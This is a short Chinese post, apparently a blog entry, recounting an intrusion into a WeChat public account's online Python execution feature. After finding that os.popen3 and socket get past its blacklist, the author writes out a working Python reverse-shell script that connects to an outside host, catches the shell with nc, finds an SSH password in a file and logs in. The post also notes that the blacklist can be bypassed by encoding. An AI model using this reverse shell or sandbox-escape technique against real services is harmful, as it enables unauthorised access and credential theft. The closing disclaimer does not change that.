看到某公众号提供"python在线编写"功能,测试了几个函数.以下常规的都被过滤了
os.systemos.popen
subprocess
commands
然后试试 os.popen2/3/4 发现可以 import ,同时 socket 也可以使用
这样就写了个反弹shell的脚本:
import socketfrom os import popen3
s = socket.socket()
s.connect(('xx.xx.xx.xx', 12345))
for i in range(10000):
ans = popen3(s.recv(1024))
s.send(ans[1].read() + ans[2].read())
敲进去

这边用nc监听,拿到shell

发现敏感文件,验证了一下是ssh的密码,登入之后就可以执行交互式的命令了

帐号权限比较低,不过还是有些信息泄漏

看到服务器的源码,针对用户输入采用黑名单过滤.这样的 in 判断直接编码一下就能绕过,而且黑名单基本不可能覆盖全面.

该测试未影响系统服务的正常运行,未修改及泄漏任何系统数据,仅供技术交流.